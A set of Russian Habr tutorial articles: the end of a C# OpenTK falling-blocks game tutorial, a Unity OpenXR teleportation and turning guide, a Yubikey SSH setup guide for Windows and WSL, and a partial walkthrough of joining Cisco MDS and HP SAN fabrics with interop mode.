for (var X = 0; X < MapWidth; X++) {
for (var Y = 0; Y < MapHeight; Y++) {
if (Map[X, Y] >= 0) {
RenderSolid(X, Y, Map[X, Y]);
}
}
}
for (var i = 0; i < StickLength; i++) {
RenderSolid(StickPosition.X + i, StickPosition.Y, StickColors[i]);
}
GL.End();
SwapBuffers();
}
```
Теперь можно быстро набросать блоков до самого верха, как в старом добром «Тетрисе». Для тестирования можно увеличить скорость падения, заменив `0.02f` на `0.2f`, а вообще надо будет сделать возможность ускорения по нажатию клавиши ↓.
Не забываем коммитить изменения в репозиторий Mercurial: «Fixing blocks after the stick fell».
### Double Impact
Следующее, что нам нужно сделать — это чтобы блоки не зависали в воздухе, а продолжали падать вниз, пока не упрутся. В этот период времени палки на экране нет, управлять ничем нельзя. В связи с этим введём в игру понятие состояния.
Игра в каждый момент времени находится в одном из следующих состояний:
1. Падает очередная палка, ею можно управлять. Когда начинается новая игра, включается это состояние.
2. Неуправляемое падение блоков, уничтожение выстроившихся линий. Это состояние включается после того, как палка коснулась какого-нибудь блока. Заканчивается тогда, когда все блоки стоят неподвижно и уничтожимых линий нет. Если весь верхний ряд стакана свободен, то игра продолжается в состоянии № 1; иначе игра завершается (состояние № 3).
3. Игра окончена, ничего не происходит. Игрок может начать новую игру (скажем, нажав некую кнопку).
Сделаем соответствующие объявления в коде.
```
private enum GameStateEnum {
Fall,
Impact,
GameOver
}
private GameStateEnum GameState;
private void New() {
// . . .
GenerateNextStick();
GameState = GameStateEnum.Fall;
}
protected override void OnUpdateFrame(FrameEventArgs E) {
base.OnUpdateFrame(E);
if (GameStateEnum.Fall == GameState) {
StickPosition.Y += 0.2f;
// . . .
if (FellOnFloor || FellOnBlock) {
var Y = (int)Math.Floor(StickPosition.Y);
for (var i = 0; i < StickLength; i++) {
var X = (int)StickPosition.X + i;
Map[X, Y] = StickColors[i];
}
GameState = GameStateEnum.Impact;
}
} else if (GameStateEnum.Impact == GameState) {
var Stabilized = true;
// TODO падение блоков
if (Stabilized) {
GenerateNextStick();
GameState = GameStateEnum.Fall;
}
}
}
```
Чтобы изобразить плавное падение блоков и не усложнять при этом модель стакана (`Map`), прибегнем к хитрости. Пусть блок, который падает из клетки (X; Y) в клетку (X; Y + 1) — а куда ещё ему падать? — числится в клетке (X; Y) вплоть до момента окончательного попадания в нижнюю клетку; а дополнительно будем хранить дробное смещение блока по вертикали, которое будет постепенно увеличиваться, пока не превысит единицу. Т. е. реальные координаты блока будут не (X; Y), а (X; Y + Δ), это надо будет учесть в `OnRenderFrame`.
```
private const float FallSpeed = 0.2f;
private float[,] ImpactFallOffset;
private void New() {
// . . .
ImpactFallOffset = new float[MapWidth, MapHeight];
}
protected override void OnUpdateFrame(FrameEventArgs E) {
base.OnUpdateFrame(E);
if (GameStateEnum.Fall == GameState) {
StickPosition.Y += FallSpeed;
// . . .
} else if (GameStateEnum.Impact == GameState) {
var Stabilized = true;
for (var X = 0; X < MapWidth; X++) {
for (var Y = MapHeight - 2; Y >= 0; Y--) {
if ((Map[X, Y] >= 0) && ((Map[X, Y + 1] < 0) || (ImpactFallOffset[X, Y + 1] > 0))) {
Stabilized = false;
ImpactFallOffset[X, Y] += FallSpeed;
if (ImpactFallOffset[X, Y] >= 1) {
Map[X, Y + 1] = Map[X, Y];
Map[X, Y] = -1;
ImpactFallOffset[X, Y] = 0;
}
}
}
}
if (Stabilized) {
GenerateNextStick();
GameState = GameStateEnum.Fall;
}
}
}
protected override void OnRenderFrame(FrameEventArgs E) {
// . . .
GL.Begin(BeginMode.Quads);
for (var X = 0; X < MapWidth; X++) {
for (var Y = 0; Y < MapHeight; Y++) {
if (Map[X, Y] >= 0) {
RenderSolid(X, Y + ImpactFallOffset[X, Y], Map[X, Y]);
}
}
}
if (GameStateEnum.Fall == GameState) {
for (var i = 0; i < StickLength; i++) {
RenderSolid(StickPosition.X + i, StickPosition.Y, StickColors[i]);
}
}
GL.End();
SwapBuffers();
}
```
Чтобы падать могла сразу целая колонна из блоков, под которыми образовалась дырка, клетки карты перебираем снизу вверх (нижний блок увлекает за собой верхний) и учитываем не только пустоту клетки, но и статус `ImpactFallOffset` (потому что положительное число означает, что этот блок падает вниз).
Коммитим с пометкой: «Blocks fall on impact until stabilized».
### Weapon of Mass Destruction
Пришла пора наконец заняться основным элементом геймплея: уничтожением выстроенных линий одного цвета. Зададим минимальную длину линии. Достаточно пройти по всем клеткам, в которых есть блоки, и от каждой попытаться построить линию в одном из четырёх возможных направлений (горизонталь, вертикаль и две диагонали). Если обнаружена линия одного цвета достаточной длины, каждый составляющий её блок заносим в стек. После того, как проверена вся карта, уничтожаем все блоки, занесённые в стек, и помечаем положение как нестабильное.
```
private const int DestroyableLength = 3;
private Stack Destroyables = new Stack();
protected override void OnUpdateFrame(FrameEventArgs E) {
// . . .
} else if (GameStateEnum.Impact == GameState) {
// . . .
if (Stabilized) {
Destroyables.Clear();
for (var X = 0; X < MapWidth; X++) {
for (var Y = 0; Y < MapHeight; Y++) {
CheckDestroyableLine(X, Y, 1, 0);
CheckDestroyableLine(X, Y, 0, 1);
CheckDestroyableLine(X, Y, 1, 1);
CheckDestroyableLine(X, Y, 1, -1);
}
}
if (Destroyables.Count > 0) {
foreach (var Coords in Destroyables) {
Map[(int)Coords.X, (int)Coords.Y] = -1;
}
Stabilized = false;
}
}
if (Stabilized) {
GenerateNextStick();
GameState = GameStateEnum.Fall;
}
}
}
private void CheckDestroyableLine(int X1, int Y1, int DeltaX, int DeltaY) {
if (Map[X1, Y1] < 0) {
return;
}
int X2 = X1, Y2 = Y1;
var LineLength = 0;
while ((X2 >= 0) && (Y2 >= 0) && (X2 < MapWidth) && (Y2 < MapHeight) && (Map[X2, Y2] == Map[X1, Y1])) {
++LineLength;
X2 += DeltaX;
Y2 += DeltaY;
}
if (LineLength >= DestroyableLength) {
for (var i = 0; i < LineLength; i++) {
Destroyables.Push(new Vector2(X1 + i \* DeltaX, Y1 + i \* DeltaY));
}
}
}
```
В репозитории помечаем: «Destroying lines of same color».
### Game Over
Вы, вероятно, заметили забавное поведение игры при достижении верха стакана: вверху начинают мигать разными цветами, сменяя друг друга, бесконечно появляющиеся и тут же застывающие палки. Давайте обработаем ситуацию проигрыша: ничего не будет происходить, пока пользователь не нажмёт клавишу Enter.
Здесь всё просто.
```
protected override void OnUpdateFrame(FrameEventArgs E) {
// . . .
} else if (GameStateEnum.Impact == GameState) {
// . . .
if (Stabilized) {
var GameOver = false;
for (var X = 0; X < MapWidth; X++) {
if (Map[X, 0] >= 0) {
GameOver = true;
break;
}
}
if (GameOver) {
GameState = GameStateEnum.GameOver;
} else {
GenerateNextStick();
GameState = GameStateEnum.Fall;
}
}
}
}
protected void OnKeyDown(object Sender, KeyboardKeyEventArgs E) {
if (GameStateEnum.Fall == GameState) {
if ((Key.Left == E.Key) && (StickPosition.X > 0)) {
--StickPosition.X;
} else if ((Key.Right == E.Key) && (StickPosition.X + StickLength < MapWidth)) {
++StickPosition.X;
} else if (Key.Up == E.Key) {
var T = StickColors[0];
for (var i = 0; i < StickLength - 1; i++) {
StickColors[i] = StickColors[i + 1];
}
StickColors[StickLength - 1] = T;
}
} else if (GameStateEnum.GameOver == GameState) {
if ((Key.Enter == E.Key) || (Key.KeypadEnter == E.Key)) {
New();
}
}
}
```
Коммитим, без лишних размышлений подписав: «Game over».
На этом первая часть разработки закончена. У нас на руках — вполне полнофункциональная игра, в которую уже сейчас можно играть. Во [второй части](http://habrahabr.ru/blogs/gdev/134283/) мы займёмся оформлением. Наложим текстуры, будем показывать текущий счёт, рекордный счёт; палку, которая выпадет следующей. Отцентрируем наконец изображение стакана в окне игры, изобразим его границы. В общем, доведём всё до ума.
Проект доступен на ~~[Google Project Hosting](http://code.google.com/p/impressive-solids/)~~ [Bitbucket](https://bitbucket.org/denyspopov/impressive-solids), там можно посмотреть итоговый исходный код, скачать архив с готовым к запуску исполняемым файлом. | https://habr.com/ru/post/133983/ | null | ru | null |
# Телепортация игрока в Unity с OpenXR
Продолжим серию статей про OpenXR. В конце концов получим контроллер игрока, обладающий базовыми навыками — перемещением, поворотом и взаимодействием с объектами. Взаимодействие с объектами мы рассмотрим в следующей статье. В этой же мы сделаем телепортацию игрока и его поворот.
Для работы над текущей задачей мы возьмем [проект из предыдущего урока](https://habr.com/ru/company/otus/blog/685506/) за основу, удалив из него скрипт HandCapsule. Это был демонстрационный скрипт, показывающий нам как работать с API OpenXR из Unity, и более он нам не потребуется — мы будем писать уже "по-настоящему".
Перед тем как начать, давайте отделим неподконтрольную нам часть от подконтрольной. Создадим дочерний для XR Rig объект Player Avatar, а в нём создадим объекты Left Hand и Right Hand. Рукам-капсулам мы зададим scale (0.05, 0.05, 0.05). В руках мы создадим объект Pointer и разместим его на "макушке" наших капсул и повернем его таким образом, чтобы forward Pointer'а смотрел наверх. Значения трансформа Pointer'а: поворот по x -90, координаты (0, 1, 0).
### Hand
Создадим класс `Hand` — основной скрипт для всех работы с инпутом контроллеров и взаимодействия с виртуальным миром. В начале класса мы объявим поля `TargetTransform`, чтобы понимать, какое местоположение сейчас у "настоящего" контроллера, `InputDeviceManager` из прошлой статьи, чтобы взаимодействовать с инпутом, и флаг IsLeftHand, чтобы понимать, какой `InputDevice` нам брать для обработки инпутов. Также, заведем свойство `InputDevice`, возвращающее конкретный для данной руки `InputDevice` из `InputDeviceManager`.
```
public Transform TargetTransform;
public InputDeviceManager InputDeviceManager;
public bool IsLeftHand;
public InputDevice InputDevice => IsLeftHand ? InputDeviceManager.LeftController : InputDeviceManager.RightController;
```
Данный скрипт навесим на оба объекта рук: Left Hand и Right Hand, и проставим им все необходимые ссылки, а флаг IsLeftHand выставим в true для Left Hand.
Компонент Hand для левой рукиПеред началом работы с инпутом, необходимо повторить функционал из предыдущего урока: перемещение капсул за руками. В прошлом уроке мы просто повесили капсулы на Tracked Pose, сейчас же объекты капсул существуют без какой-либо логики перемещения в пространстве. Напишем её, благо она очень простая: просто будем повторять в LateUpdate положение и вращение соответствующей Tracked Pose.
```
private void LateUpdate()
{
transform.position = TargetTransform.position;
transform.rotation = TargetTransform.rotation;
}
```
Hand будет выполнять на данном этапе роль обработчика событий с инпута соответствующего ему контроллера, потому давайте заведем четыре события, необходимые нам для реализации телепортации игрока и его поворота: TeleportPressed, TeleportReleased, TurnLeft и TurnRight. Делегат для них будем использовать `void HandInteraction(Hand hand)` — его я положил в отдельный файл, но в скрипте приведу рядом с событями.
```
public delegate void HandInteraction(Hand hand);
public event HandInteraction TeleportPressed;
public event HandInteraction TeleportReleased;
public event HandInteraction TurnLeft;
public event HandInteraction TurnRight;
```
Немного о событиях:
* TeleportPressed будем вызывать тогда, когда стик только отклонился вперёд.
* TeleportReleased будем вызывать тогда, когда стик перешел из состояния "отклонен вперед" в нейтральное.
* TurnLeft и TurnRight будем вызывать тогда, когда стик отклонился влево или вправо соответственно.
Реализуем обработку данных событий:
```
private void Update()
{
ProcessThumbstick();
}
private void ProcessThumbstick()
{
_prevThumbstickAxis = _thumbstickAxis;
InputDevice.TryGetFeatureValue(CommonUsages.primary2DAxis, out _thumbstickAxis);
const float teleportThreshold = 0.66f;
if (_prevThumbstickAxis.y < teleportThreshold && _thumbstickAxis.y >= teleportThreshold)
{
TeleportPressed?.Invoke(this);
}
else if (_prevThumbstickAxis.y >= teleportThreshold && _thumbstickAxis.y < teleportThreshold)
{
TeleportReleased?.Invoke(this);
}
const float turnThreshold = 0.66f;
if (_prevThumbstickAxis.x < turnThreshold && _thumbstickAxis.x >= turnThreshold)
{
TurnRight?.Invoke(this);
}
else if (_prevThumbstickAxis.x >= -turnThreshold && _thumbstickAxis.x < -turnThreshold)
{
TurnLeft?.Invoke(this);
}
}
```
Теперь наша рука перемещается вслед за контроллерами, а также выстреливает событиями на отклонение стика вперед и влево/вправо. Преступим к реализации самой логики.
### Игрок
Реализуем два простых метода на перемещение игрока и его поворот. Создадим класс `Player` и опишем методы для работы с Transform XR Rig'а:
```
public class Player : MonoBehaviour
{
public void SetPosition(Vector3 position)
{
transform.position = position;
}
public void Rotate(float angle)
{
transform.Rotate(0, angle, 0);
}
}
```
Сам компонент навешиваем на объект XR Rig. Вызов метод SetPosition переместит игрока в указанные координаты, а метод Rotate будет отвечать за поворачивание игрока по оси Y (в горизонтальной плоскости).
### Телепортация
Реализация телепортации состоит из двух скриптов: Teleport.cs, реализующий логику телепортации и который мы напишем сами, и Arc.cs, занимающийся отрисовкой арки телепортации и который мы возьмем с [gist.github.com](https://gist.github.com/aleverdes/9f685d05d49528d7bcc4ce10ab602841) Скрипт рисования арки является косметическим и вместо него можно было бы использовать простой LineRenderer, но я выбираю красивое и готовое решение для концентрации на логике работы с OpenXR.
Перейдем к самой логике телепорта.
Создадим новый Mono Behaviour и называем его Teleport. В нём вводим несколько публичных полей: ссылку на игрока, ссылку на руку для подписки на события стика, ссылка на арку для управления её отрисовкой, ссылка на точку, из которой будет рисоваться арка, и скорость луча (влияет на его дистанцию).
```
public Player Player;
public Hand Hand;
public Arc Arc;
public Transform Source;
public float TeleportVelocity = 10f;
```
Также, введём несколько приватных переменных: `_arcEnabled` для оптимизации работы с просчётом луча, `_arcIsValid` для присваивания результата просчёта луча и `_lastArcTargetPosition` для хранения последних координат, куда утыкался луч телепорта.
```
private bool _arcEnabled;
private bool _arcIsValid;
private RaycastHit _lastArcTargetPosition;
```
Далее, подпишемся на события Hand.TeleportPressed и Hand.TeleportReleased и напишем логику для них. На отведение стика мы будем включать луч и начинать его отрисовывать, а как только стик будет возвращаться в своё исходное положение, мы будем выключать отрисовку луча и телепортировать игрока в конечные координаты, если телепортировать туда было возможным.
```
private void OnEnable()
{
Hand.TeleportPressed += StartTeleport;
Hand.TeleportReleased += FinishTeleport;
}
private void OnDisable()
{
Hand.TeleportPressed -= StartTeleport;
Hand.TeleportReleased -= FinishTeleport;
}
private void StartTeleport(Hand hand)
{
_arcEnabled = true;
Arc.Show();
}
private void FinishTeleport(Hand hand)
{
_arcEnabled = false;
if (_arcIsValid && Arc.IsArcValid())
{
Player.SetPosition(_lastArcTargetPosition.point);
}
Arc.Hide();
}
```
Также напишем логику рисования луча. Скрипт отрисовки арки требует для отрисовки передачи каждый кадр местоположения, вращения и других параметров работы луча (SetArcData) и вызова самого метода отрисовки (DrawArc). Будем вызывать их в Update.
```
private void Update()
{
if (_arcEnabled)
{
Arc.SetArcData(Source.position, TeleportVelocity * Source.forward, true, false, false);
_arcIsValid = Arc.DrawArc(out _lastArcTargetPosition);
}
}
```
Навесим оба скрипта (Arc и Teleport) на объекты Left Hand и Right Hand и настроим их.
Пример настройки компонентов Arc и Teleport на примере левой руки. Материал для телепорта можно использовать стандартный.#### Поворот игрока
Создадим класс TurnPlayer — класс, ответственный за поворот игрока при отклонении стика влево и вправо.
Объявим необходимые поля для работы скрипта: ссылка на игрока, ссылка на руку и угол поворота игрока при отклонении стика.
```
public Player Player;
public Hand Hand;
public float Angle = 45f;
```
И опишем методы подписки на события Hand.TurnLeft и Hand.TurnRight, поворачивающие игрока на указанное в поле Angle значении:
```
private void OnEnable()
{
Hand.TurnLeft += TurnLeft;
Hand.TurnRight += TurnRight;
}
private void OnDisable()
{
Hand.TurnLeft -= TurnLeft;
Hand.TurnRight -= TurnRight;
}
public void TurnLeft(Hand hand)
{
Player.Rotate(-Angle);
}
public void TurnRight(Hand hand)
{
Player.Rotate(Angle);
}
```
Компонент TurnPlayer навешиваем на каждую руку (Left Hand и Right Hand) и настраиваем.
Компонент TurnPlayer на примере левой руки.Ну и в конце концов, создадим тег TeleportArea и повесим его на нашу плоскость. Этот тег позволит нам разделять в дальнейшем области, доступные для телепортации и недоступные для неё.
В итоге у нас должна получиться механика, благодаря которой мы можем более менее удобно перемещаться по нашей сцене. Протестируем её: запускаем Play Mode и отклоняем стик вперёд — луч телепорта начинает рисоваться красным, если телепортироваться в указанную область нельзя, и зеленым, если перемещение возможно. На отклонение стика влево и вправо мы будем поворачиваться в соответствующую сторону.
На этом благодарю за внимание. В следующей статье разберем простую механику взаимодействия с предметами: прикосновение к ним, их подбирание и дальнейшее использование.
---
> Скоро в OTUS состоится бесплатное открытое занятие «**AR сегодня: в развлечениях, в образовании, на работе**». На нем узнаете, как AR технологии проникли во все сферы вашей жизни, и попробуете сами создать AR мини-игру. Регистрируйтесь [**по ссылке.**](https://otus.pw/Smkt/)
>
> | https://habr.com/ru/post/687286/ | null | ru | null |
# Настройка Yubikey для ssh в Windows и WSL
Когда я стал счастливым обладателем устройства Yubikey 5 nfc и узнал, что при помощи него можно авторизовываться по ssh, я столкнулся с множеством статей про настройку подобной связки на unix-системах… И с полнейшим отсутствием адекватного материала про Windows.
Разобравшись в теме, собрав информацию из многих источников и проверив работоспособность связки на личном опыте, я пишу эту статью для тех, кто решит повторить мой путь.
О чём эта статья
================
Я предполагаю, что, читая мой гайд, вы уже создали gpg-ключи в нужной вам конфигурации и записали их на Yubikey. Информации о том, как это сделать, достаточно много, и инструкции не отличаются для Linux и Windows.
Также, я предполагаю, что в вашей системе уже установлен GnuPG последней версии (на момент написания статьи — версия 2.40), и вы умеете базово с ним обращаться.
Почитать про создание ключей и запись их на Yubikey можно [здесь](https://support.yubico.com/hc/en-us/articles/360013790259-Using-Your-YubiKey-with-OpenPGP).
Скачать GnuPg для Windows можно [здесь](https://www.gpg4win.org/) (во всяком случае, я использовал именно gpg4win).
Желаемый результат
==================
Выполнив все шаги, описанные ниже, вы получите:
* Возможность использовать Yubikey вместе с OpenSSH в Windows;
* Возможность использовать Yubikey вместе с ssh внутри Wsl.
Подготовка
==========
Перед тем, как приступить к настройке, убедитесь, что:
* У вас установлена Windows 10 версии 1803 или новее;
* У вас установлен gpg4win или другая версия GnuPg;
* Команда `gpg --card-status` корректно отображает информацию о вашем Yubikey и ключах, записанных на нём;
* Соответствующие публичные ключи хранятся в gpg на компьютере и отображаются по команде `gpg --list-keys`.
Настройка GnuPg
===============
Первым делом нам необходимо изменить конфигурацию GnuPg таким образом, чтобы GnuPg использовал gpg-agent, а также включить поддержку OpenSsh в самом агенте.
Для начала выясним, где GnuPg будет искать конфигурационные файлы. Для этого введём в командной строке следующее:
`gpgconf --list-dirs homedir`
В ответ мы получим путь, по которому и хранятся все данные и настройки gpg в вашей системе.
Далее необходимо открыть папку по указанному пути и создать в папке два файла: gpg.conf и gpg-agent.conf.
Затем, в файле gpg.conf мы должны написать следующее:
`use-agent`
Таким образом мы укажем gpg необходимость использовать gpg-agent.
А в файле gpg-agent.conf мы пишем это:
```
enable-putty-support
enable-ssh-support
```
Если у вас в системе установлен Windows OpenSsh версии 9.0 или новее, вы можете добавить третьей строкой следующее:
`enable-win32-openssh-support`
Зачем это нужно, я объясню чуть позже.
Теперь, изменив конфигурацию gpg, мы можем запустить gpg-agent такой командой:
`gpg-connect-agent /bye`
А остановить запущенный агент при помощи команды
`gpg-connect-agent killagent /bye`
Убедившись, что агент запускается без ошибок, мы должны создать ещё один файл в директории gnupg.
Файл должен называться sshcontrol, а поместить в него нужно keygrip вашего ключа для аутентификации (то есть ключа с capability a).
Чтобы получить keygrip 'ы всех ваших ключей, используйте команду
`gpg --list-keys --with-keygrip`
Вывод команды будет выглядеть примерно так:
```
pub rsa4096 2022-07-18 [SC]
58DE66838D1CFAD22A5283F3AEFB45ACA247412F
Keygrip = B53F9C92114AB637817A4EE28242654636D718A2
uid [ultimate] Kirill Belousov
uid [ultimate] Kirill Belousov
uid [ultimate] Kirill Belousov
sub rsa4096 2022-07-18 [E]
Keygrip = B68CC0A9905D5737547DDC8AEA532259F2679107
sub rsa4096 2022-07-18 [A]
Keygrip = B21B4285DC89262A7EF194E68C73AE76C793D591
```
Обратите внимание на две последние строки. Буква [a] в квадратных скобках означает, что сабключ предназначен именно для аутентификации, а строчка `keygrip=...` — и есть искомый keygrip.
Необходимо скопировать всё, что написано после `keygrip=` и вставить в файл sshcontrol.
Обратите внимание, что до и после вставленной строки не должно быть пустых строк, а на самой строке не должно быть пробелов в начале и в конце.
Сохранив файл sshcontrol, перезапустите gpg-agent при помощи описанных выше команд.
Ещё одна утилита
================
После запуска gpg-agent в системе появится сокет, при помощи которого ssh может подключаться к gpg и запрашивать ssh-ключи… На linux.
Ssh в Windows с такими сокетами работать не умеет. Именно поэтому нам понадобится внешняя утилита под названием wsl-ssh-pageant.
Скачать утилиту можно [здесь](https://github.com/benpye/wsl-ssh-pageant).
Для загрузки доступны две версии программы: версия для командной строки (запускается с окном командной строки, которое будет висеть открытым, пока программа работает), и gui-версия, которая запускается в фоне, не "светится" окном командной строки и может быть остановлена только через диспетчер задач или при помощи иконки в системном трее.
Для использования с планировщиком задач (для автоматического запуска) больше подойдёт первый вариант, а для ручного запуска по нажатию на ярлык — вторая. Но какую версию использовать — исключительно ваш выбор, по функционалу они идентичны.
Скачав утилиту и сохранив её в удобном месте, запустите её со следующими параметрами:
`--wsl C:\path\to\wsl\socket.sock --winssh pipe-name-for-windows-ssh --systray --force`
Параметр `--wsl` позволяет указать путь, по которому будет создан файл сокета для wsl. Если вам не нужна поддержка Wsl, можете опустить этот параметр.
`--winssh` позволяет указать имя для именованой трубки, при помощи которой OpenSsh в Windows будет пытаться подключиться к агенту.
`--systray` включает отображение иконки в системном трее,
а `--force` перезапускает утилиту и пересоздаёт все сущности, если утилита уже запущена (полезно для быстрого перезапуска по нажатию на ярлык).
Я обычно запускаю gui-версию программы при помощи ярлыка со следующим содержимым:
`C:\wsl-ssh-pageant\wsl-ssh-pageant-amd64-gui.exe --wsl C:\wsl-ssh-pageant\ssh-agent.sock --winssh ssh-pageant --systray --force`
Запустив утилиту и убедившись, что она стартовала без ошибок (по иконке в трее или по выводу командной строки), перейдём к последнему шагу.
Изменение переменной окружения SSH\_AUTH\_SOCK
==============================================
Последним штрихом, после которого всё должно заработать, станет установка переменной окружения, при помощи которой Windows OpenSsh будет искать подключение к gpg через настроенную выше утилиту.
Чтобы добавить необходимую переменную окружения, в командной строке выполняем команду
`setx SSH_AUTH_SOCK \\.\pipe\`
Вместо подставьте то, что вы указали в параметре `--winssh` при запуске wsl-ssh-pageant.
Настройка Wsl
=============
Если вам необходима авторизация по ssh при помощи Yubikey в Wsl, вы должны создать переменную окружения SSH\_AUTH\_SOCK в Wsl, а в качестве её значения указать путь к файлу сокета, создаваемому wsl-ssh-pageant.
В моём случае команда выглядит следующим образом:
`export SSH_AUTH_SOCK=/mnt/c/wsl-ssh-pageant/ssh-agent.sock`
Примечание: несмотря на то, что во всех инструкциях описывается именно такой алгоритм действий для Wsl, в моей системе это не сработало. Возможно, необходимы дополнительные шаги, о которых я не знаю.
Для тех, у кого Windows OpenSsh версии 9.0
------------------------------------------
При настройке gpg я упоминал об опции, доступной "не для всех".
Если у вас gpg версии 2.40 или новее и Windows Openssh версии 9.0 или новее, вы можете обойтись без wsl-ssh-pageant и использовать gpg-agent и ssh напрямую.
Если вы при заполнении файла gpg-agent.conf вписали опцию `enable-win32-openssh-support`, вернитесь к шагу с настройкой переменной окружения и в качестве значения для переменной установите `\\.\pipe\openssh-ssh-agent`.
Внимание! Несмотря на то, что версии всех компонентов у меня подходят по условиям, на моей системе этот способ не сработал, и мне пришлось вернуться к использованию wsl-ssh-pageant.
Если вы столкнётесь с такой же проблемой и найдёте её решение, пожалуйста, расскажите о своём опыте в комментариях. Не забудьте указать версии всех используемых компонентов и версию вашей системы.
Проверка
========
Чтобы убедиться, что все компоненты видят друг друга, и настройка выполнена правильно, выполните две команды
`gpg --export-ssh-key`
Эта команда выведет в консоль публичный ssh-ключ, соответствующий аутентификационному сабключу.
Затем, убедившись, что gpg-agent и wsl-ssh-pageant запущены, запустите команду
`ssh-add -L`
Эта команда выведет все ssh-ключи, которые Windows OpenSsh смог найти в вашей системе.
Если среди выводимых ключей отображается такой же ключ, который отобразила предыдущая команда `gpg --export-ssh-key`, значит вы настроили всё правильно и теперь можете авторизоваться по ssh при помощи вашего Yubikey.
Заключение
==========
Я надеюсь, что статья оказалась для вас полезной, и у вас всё получилось.
Если у вас есть какие-либо дополнения, рекомендации и советы, не стесняйтесь оставлять их в комментариях. Думаю, другие читатели будут вам благодарны. | https://habr.com/ru/post/712018/ | null | ru | null |
# interop mode и IVR на Cisco MDS
Позвольте поделиться небольшим опытом в контексте SAN.
##### Дано:
В одной неизвестной организации есть серверная, в которой была внедрена и успешно функционирует SAN сеть. В сети две фабрики, в каждой фабрике было по коммутатору HP AM869A 8/40. Как оказалось, эти коммутаторы представляют собой сорока портовые SAN коммутаторы Brocade 5100, под управлением Fabric OS. К этим фабрикам подключено несколько десятков серверов и пару Систем хранения данных. Без подробностей выглядит всё это следующим образом… страшненько:
Как видите, кроме счастливых серверов которые подключены одновременно к обоим фабрикам, есть сервера подключённые к SAN сети не надёжным образом, только одним линком к одному из свичей. Увы, что есть — то есть.
Организация развивалась и организовала себе ещё одну серверную в соседнем здании. В новой серверной было серверов немного больше и систем хранения данных намного больше. В качестве свичей используются Cisco MDS 9148, к которым подключены I/O модули Dell M8428-k в режиме AG(эти модули установлены на блейд корзинах Dell M1000 ). Так же к свичам MDS подключены рэковые сервера и системы хранения данных Hitachi VSP. Небольшой эскиз SAN сети новой серверной:
##### Задача
Задача была поставлена чётко. Необходимо мигрировать ряд сервисов со старой серверной в новую. Сервисы запущены на виртуальных машинах. В обоих серверных используется платформа виртуализации VMware vSphere. Основными этапами подготовки инфраструктуры к миграции в нашем случае являлись:
1. Объединение сети передачи данных, дабы подключить хосты старой серверной с которых будут съезжать сервисы к vCenter Server в новой серверной для возможности vMotion.
2. Объединение SAN сети, чтобы выбранные хосты старой и новой серверных имели общий сторедж и можно было выполнить storage vMotion.
Что же необходимо сделать, чтобы объединить наши фабрики старой и новой серверных?
Думаю, сначала нарисовать, то что мы хотим получить:
В новой серверной, при настройке зоннинга, на обоих фабриках использовалась VSAN 1. Для того чтобы все манипуляции при подключении фабрик к MDS свичам не были диструптивны, создана VSAN 2, которая и будет работаь в Interop mode со свичем HP. Далее будем говорить об объединении фабрики (MDS #2 — #4) и фабрики (HP AM869A 8/40 №1). Объединение других двух фабрик будет выполняться по аналогии.
##### Подготовка и настройка interop mode
Большинство операций необходимо выполнять на коммутаторе Cisco MDS 9148 #4.
1. Для начала создадим резервную копию конфигурации MDS #4:
```
mds4# copy running-config ftp:
Enter destination filename: [mds4-running-config]
Enter hostname for the ftp server: 192.168.200.252
Enter username: admin
Please log in with USER and PASS first.
Password:
Copy complete, now saving to disk (please wait)...
mds4#
```
2. Создадим резервную копию конфигурации коммутатора HP №1:
```
configupload -all -p ftp 192.168.200.252,ftp_user,,password
```
3. Далее необходимо проверить, что версии NX-OS и Fabric OS совместимы, эту информацию можно узнать в документации, а посмотреть версию ОС на MDS можно следующей командой:
```
mds4# sh ver
Cisco Nexus Operating System (NX-OS) Software
TAC support: http://www.cisco.com/tac
Documents: http://www.cisco.com/en/US/products/ps9372/tsd_products_support_series_home.html
Copyright (c) 2002-2013, Cisco Systems, Inc. All rights reserved.
The copyrights to certain works contained herein are owned by
other third parties and are used and distributed under license.
Some parts of this software are covered under the GNU Public
License. A copy of the license is available at
http://www.gnu.org/licenses/gpl.html.
Software
BIOS: version 1.0.19
loader: version N/A
kickstart: version 5.2(8b)
system: version 5.2(8b)
BIOS compile time: 02/01/10
kickstart image file is: bootflash:///m9100-s3ek9-kickstart-mz.5.2.8b.bin
kickstart compile time: 12/25/2020 12:00:00 [07/03/2013 10:16:59]
system image file is: bootflash:///m9100-s3ek9-mz.5.2.8b.bin
system compile time: 6/5/2013 15:00:00 [07/03/2013 10:48:15]
Hardware
cisco MDS 9148 FC (1 Slot) Chassis ("1/2/4/8 Gbps FC/Supervisor-3")
Motorola, e500v2 with 1036300 kB of memory.
Processor Board ID JAF1649ATAG
Device name: mds4
bootflash: 1000944 kB
Kernel uptime is 11 day(s), 20 hour(s), 5 minute(s), 5 second(s)
Last reset at 100354 usecs after Tue Sep 17 07:16:43 2013
Reason: Reset due to upgrade
System version: 5.0(1a)
Service:
mds4#
```
4. На HP:
```
FC-Switch1:FID128:admin> version
Kernel: 2.6.14.2
Fabric OS: v6.3.1a
Made on: Fri Feb 26 18:38:50 2010
Flash: Tue Dec 7 06:31:48 2010
BootProm: 1.0.9
```
5. Теперь не поленится и почитать release notes для наших версий прошивок. Вы можете прочесть на сайте производителя, что cisco MDS 9148 поддерживает IVR, но к сожалению в NX-OS 5.0(1a) именно на нашей платформе IVR включить не получится. И по этому придётся обновиться на последнюю стабильную версию NX-OS, например 5.2(8b). И поможет обновиться команда:
```
mds4# install all kickstart bootflash:///m9100-s3ek9-kickstart-mz.5.2.8b.bin system bootflash:///m9100-s3ek9-mz.5.2.8b.bin
```
6. После обновления убедится, что у нас есть лицензия которая включает IVR. В нашем случае это Enterprise license:
```
mds4# sh license usage
Feature Ins Lic Status Expiry Date Comments
Count
--------------------------------------------------------------------------------
FM_SERVER_PKG No - Unused -
ENTERPRISE_PKG Yes - In use 13 Oct 2014 -
PORT_ACTIVATION_PKG Yes 32 In use never -
--------------------------------------------------------------------------------
```
7. Отлично, MDS коммутатор готов к настройке. Для начала выключим интерфейсы, которые физически подключают MDS #4 к HP №1:
```
mds4# conf t
Enter configuration commands, one per line. End with CNTL/Z.
mds4(config)# int fc 1/3-4
mds4(config-if)# shutdown
mds4(config)#
```
8. Далее создадим VSAN 2, добавим наши интерфейсы к этой VSAN и включим interop mode 3:
```
mds4(config)#
mds4(config)# vsan database
mds4(config-vsan-db)# vsan 2
mds4(config-vsan-db)# vsan 2 interface fc 1/3 – 4
mds4(config-vsan-db)# vsan 2 interop 3
```
